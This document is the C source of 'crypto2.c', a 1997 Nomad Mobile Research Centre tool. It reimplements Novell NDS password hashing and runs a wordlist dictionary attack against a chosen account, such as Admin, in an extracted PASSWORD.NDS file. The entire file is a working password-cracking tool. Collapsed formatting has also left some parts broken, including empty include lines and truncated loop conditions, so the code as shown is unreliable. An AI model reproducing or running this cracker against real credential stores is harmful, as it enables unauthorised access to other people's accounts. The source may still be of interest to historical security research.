/************************************************************************* * * * crypto2.c - cracks one way encrypted passwords from NDS * * * * Programmer - Simple Nomad - Nomad Mobile Research Centre * * Crypto routines by itsme@xs4all.nl * * * *-----------------------------------------------------------------------* * * * 6/6/97 - Initial Revision * * * *-----------------------------------------------------------------------* * * * 6/13/97 - Completed basic program. * * * *-----------------------------------------------------------------------* * * * 6/26/97 - Redid dictionary attack. Cleaned up code. * * * *-----------------------------------------------------------------------* * * * 6/28/97 - Minor bug fixes. * * * *-----------------------------------------------------------------------* * * * 6/29/97 - Fixed problem with Windows 95 and added big endian * * support. * * * *************************************************************************/ /* * Includes */ #include #include #include /* * Typedefs for program */ typedef unsigned char uint8; typedef unsigned int uint16; typedef unsigned long uint32; /* * struct for PASSWORD.NDS and a global pointer */ typedef struct password { uint32 selfOffset; /* Offset in PASSWORD.NDS. If this is the first record, it is 0x00000000 followed by 0x0000014e for the second record, etc. */ uint32 id; /* Object ID from ENTRY */ uint32 parentID; /* Parent ID */ uint32 objectID; /* Object ID from Private Key */ uint32 pwlen; /* Password length of user account */ uint8 hash[16]; /* One-way hash */ uint8 userOU[40]; /* OU of User */ uint8 userCN[258]; /* User common name */ } PASSWORD; /* size=334 */ PASSWORD pPassword; #ifdef ENDIAN union { uint32 longData; uint8 shortData[4]; } output; union { uint32 longData; uint8 shortData[4]; } input; #endif /* * Global constants */ #define TRUE 1 #define FALSE 0 uint8 nyblTab[256]= /* used by encrypt */ {/* 0 1 2 3 4 5 6 7 8 9 a b c d e f */ 0x7,0x8,0x0,0x8,0x6,0x4,0xE,0x4,0x5,0xC,0x1,0x7,0xB,0xF,0xA,0x8, 0xF,0x8,0xC,0xC,0x9,0x4,0x1,0xE,0x4,0x6,0x2,0x4,0x0,0xA,0xB,0x9, 0x2,0xF,0xB,0x1,0xD,0x2,0x1,0x9,0x5,0xE,0x7,0x0,0x0,0x2,0x6,0x6, 0x0,0x7,0x3,0x8,0x2,0x9,0x3,0xF,0x7,0xF,0xC,0xF,0x6,0x4,0xA,0x0, 0x2,0x3,0xA,0xB,0xD,0x8,0x3,0xA,0x1,0x7,0xC,0xF,0x1,0x8,0x9,0xD, 0x9,0x1,0x9,0x4,0xE,0x4,0xC,0x5,0x5,0xC,0x8,0xB,0x2,0x3,0x9,0xE, 0x7,0x7,0x6,0x9,0xE,0xF,0xC,0x8,0xD,0x1,0xA,0x6,0xE,0xD,0x0,0x7, 0x7,0xA,0x0,0x1,0xF,0x5,0x4,0xB,0x7,0xB,0xE,0xC,0x9,0x5,0xD,0x1, 0xB,0xD,0x1,0x3,0x5,0xD,0xE,0x6,0x3,0x0,0xB,0xB,0xF,0x3,0x6,0x4, 0x9,0xD,0xA,0x3,0x1,0x4,0x9,0x4,0x8,0x3,0xB,0xE,0x5,0x0,0x5,0x2, 0xC,0xB,0xD,0x5,0xD,0x5,0xD,0x2,0xD,0x9,0xA,0xC,0xA,0x0,0xB,0x3, 0x5,0x3,0x6,0x9,0x5,0x1,0xE,0xE,0x0,0xE,0x8,0x2,0xD,0x2,0x2,0x0, 0x4,0xF,0x8,0x5,0x9,0x6,0x8,0x6,0xB,0xA,0xB,0xF,0x0,0x7,0x2,0x8, 0xC,0x7,0x3,0xA,0x1,0x4,0x2,0x5,0xF,0x7,0xA,0xC,0xE,0x5,0x9,0x3, 0xE,0x7,0x1,0x2,0xE,0x1,0xF,0x4,0xA,0x6,0xC,0x6,0xF,0x4,0x3,0x0, 0xC,0x0,0x3,0x6,0xF,0x8,0x7,0xB,0x2,0xD,0xC,0x6,0xA,0xA,0x8,0xD }; /* / nyblTab reversed / / 0 02 1c 2b 2c 30 3f 6e 72 89 9d ad b8 bf cc ef f1 / 1 0a 16 23 26 48 4c 51 69 73 7f 82 94 b5 d4 e2 e5 / 2 1a 20 25 2d 34 40 5c 9f a7 bb bd be ce d6 e3 f8 / 3 32 36 41 46 5d 83 88 8d 93 99 af b1 d2 df ee f2 / 4 05 07 15 18 1b 3d 53 55 76 8f 95 97 c0 d5 e7 ed / 5 08 28 57 58 75 7d 84 9c 9e a3 a5 b0 b4 c3 d7 dd / 6 04 19 2e 2f 3c 62 6b 87 8e b2 c5 c7 e9 eb f3 fb / 7 00 0b 2a 31 38 49 60 61 6f 70 78 cd d1 d9 e1 f6 / 8 01 03 0f 11 33 45 4d 5a 67 98 ba c2 c6 cf f5 fe / 9 14 1f 27 35 4e 50 52 5e 63 7c 90 96 a9 b3 c4 de / a 0e 1d 3e 42 47 6a 71 92 aa ac c9 d3 da e8 fc fd / b 0c 1e 22 43 5b 77 79 80 8a 8b 9a a1 ae c8 ca f7 / c 09 12 13 3a 4a 56 59 66 7b a0 ab d0 db ea f0 fa / d 24 44 4f 68 6d 7e 81 85 91 a2 a4 a6 a8 bc f9 ff / e 06 17 29 54 5f 64 6c 7a 86 9b b6 b7 b9 dc e0 e4 / f 0d 10 21 37 39 3b 4b 65 74 8c c1 cb d8 e6 ec f4 */ uint8 crypTab[32]= /* used by encrypt & encryptp */ { 0x48,0x93,0x46,0x67,0x98,0x3D,0xE6,0x8D,0xB7,0x10,0x7A,0x26,0x5A,0xB9,0xB1,0x35, 0x6B,0x0F,0xD5,0x70,0xAE,0xFB,0xAD,0x11,0xF4,0x47,0xDC,0xA7,0xEC,0xCF,0x50,0xC0 }; /* * Global variables */ int level=0; int crypt2data[96]; int crypt2_c_val[64]; int revcrypt2data[96]; int revcrypt2_c_val[64]; /* * START OF ITSME ROUTINES */ /* * generic dump routine */ void dump(uint8 *p,int l) { int i; for (i=0 ; ii */ result=(calcElement(index-32-i+k)-crypTab[i]) ^ (value+c); crypt2data[index]=result; return result; } /* * crypt2 2nd encryption on cipher */ void crypt2(uint8 *cipher) { int i; for (i=0 ; i<32 ; i++) cipher[i]=calcElement(64+i); } /* * Now take the plaintext and make it ciphertext */ void forwardcrypt(uint8 *plain, uint8 *cipher) { int c; int k; int i; int j; uint8 buf[3][32]; memcpy(buf[0], plain, 32); c=0; for (j=0 ; j<2 ; j++) for (i=0 ; i<32 ; i++) { k = (i+c)&0x1f; if (ki */ buf[j+1][i]=(buf[j][k] - crypTab[i]) ^ (buf[j][i]+c); c+=buf[j+1][i]; } memcpy(cipher, buf[2], 32); } uint8 revcalcElement(int index); void initCalc(uint8 *plain) { int i; for (i=0 ; i<32 ; i++) crypt2data[i]=plain[i]; memset(crypt2data+32, -1, 64*sizeof(int)); memset(crypt2_c_val, -1, 64*sizeof(int)); } /* * initRevCalc called from main encryptp routine */ void initRevCalc(uint8 *cipher, int initial_c) { int i; for (i=0 ; i<32 ; i++) revcrypt2data[i+64]=cipher[i]; memset(revcrypt2data, -1, 64*sizeof(int)); memset(revcrypt2_c_val, -1, 64*sizeof(int)); revcrypt2_c_val[63]=initial_c; } /* * calculate c for revcrypt */ int rev_calc_c(int index) { level++; if (index<32) { level--; return 0; } if (revcrypt2_c_val[index-32]==-1) revcrypt2_c_val[index-32]=rev_calc_c(index+1)-revcalcElement(index+1); level--; return revcrypt2_c_val[index-32]; } /* * calc the element from the crypt table */ uint8 revcalcElement(int index) { int c; int k; int i; int value; int result; level++; if (index<0) { level--; return 0; } if (revcrypt2data[index]!=-1) { level--; return revcrypt2data[index]; } c=rev_calc_c(index); i=index&0x1f; k=(c+i)&0x1f; value=revcalcElement(index+32); if (ki */ result = value ^ (revcalcElement(index-i+k) - crypTab[i]); revcrypt2data[index]=result; level--; return result; } /* * revcrypt2 */ void revcrypt2(uint8 *plain) { int i; for (i=0 ; i<32 ; i++) plain[i]=revcalcElement(64+i); } /* * shrink to 16 byte hash */ void shrinkbuf(uint8 *src, uint8 *dst) { int i; for (i=0 ; i<16 ; i++) { *dst = nyblTab[*src++]; *dst++ |= nyblTab[*src++]<<4; } } /* * XOR password with object ID */ void xorwithid(uint32 id, uint32 *buf) { int i; for (i=0 ; i<8 ; i++) *buf++ ^= id; } /* * Prepare the password by lengthening... */ void preparepw(uint8 *pw, int pwLen, uint8 *dst) { uint8 *p; int i; p=pw; for (i=0 ; i<32 ; i++) { if (pw+pwLen==p) { p=pw; *dst++=crypTab[i]; } else *dst++=*p++; } } /* * uint32 id : UserID * char src[len] : unencrypted password * int len : length of unencrypted password * char dst[16] : encrypted password (result) */ int encryptp(uint32 id, uint8 *src, int len, uint8 *dst) { uint8 buf[32]; /* password xored with ID and itself ... */ uint8 buf2[32]; /* password xored with ID and itself ... */ int FOUND,i; FOUND=TRUE; preparepw(src, len, buf); xorwithid(id, (uint32*)buf); forwardcrypt(buf, buf2); initCalc(buf); crypt2(buf2); initRevCalc(buf2, 0x58); revcrypt2(buf); shrinkbuf(buf2, dst); /* dst should now contain the one way hash, so we compare it to our targeted user's */ for (i=0;i<16;i++) { if (dst[i]!=pPassword.hash[i]) FOUND=FALSE; } return(FOUND); } /* * END OF ITSME ROUTINES */ /* * This routine switches byte ordering to get around the big * endian -- little endian problem. I did this because systems * like AIX offer no solutions for a big endian reading a little * endian created file. Send it a uint32 and it returns the * converted uint32. */ #ifdef ENDIAN uint32 make_conversion(uint32 k) { int i; uint32 j; input.longData=k; for (i=0; i<4; i++) output.shortData[i]=input.shortData[3-i]; return(output.longData); } #endif /* * Dump unicode to screen. I dislike unicode a lot, but this routine * skips the 0x00's and only prints the parts that matter. */ void printUnicodeName(char *name, int j) { int i; for (i=0;i\n"); printf(" -h This HELP screen\n"); printf(" -w Use this WORDLIST.\n"); printf(" -u Attack the USER specified.\n\n"); printf("EXAMPLE:\n"); printf(" crypto2 -u Admin -w biglist.wrd\n\n"); exit(j); } /* * This routine looks for a particular user. It is passed the total number * of users to look through and who to look for. If found, TRUE is returned. * FALSE is returned if the user was not found. */ int findEntryInPasswordFile(long int j, char *account) { FILE *fPassword; int FOUND,i,k; FOUND=FALSE; fPassword=fopen("PASSWORD.NDS","rb"); if (fPassword==NULL) { printf("Unable to open PASSWORD.NDS\n"); exit(1); } while(j!=0) { fread(&pPassword,334,1,fPassword); FOUND=TRUE; for (i=0;iargc) || argv[i+1][0]=='-') { printf("No argument given for option -w\n"); exit(1); } sprintf(wordlist,"%s",argv[i+1]); break; case 'u': case 'U': if ((i+1>argc) || argv[i+1][0]=='-') { printf("No argument given for option -u\n"); exit(1); } sprintf(account,"%s",argv[i+1]); break; default: printf("Invalid option: %s\n", argv[i]); printHelp(1); } } j=countPasswordRecords(); FOUND=findEntryInPasswordFile(j,account); if (FOUND==FALSE) { printf("%s not found in password file.\n",account); exit(1); } FOUND=FALSE; /* open the dictionary */ dict=fopen(wordlist, "r"); if (dict==NULL) { printf("Unable to open %s\n",wordlist); exit(1); } /* the crack loop -- break out if done or the password found */ while (!feof(dict)) { fgets(words, 80, dict); /* subtract the length of the carriage return and check the length of the dictionary word. Since we know what the unencrypted length is, skip the word if it's not the right length to save time */ if (strlen(words)-1==pPassword.pwlen) { for (i=0;i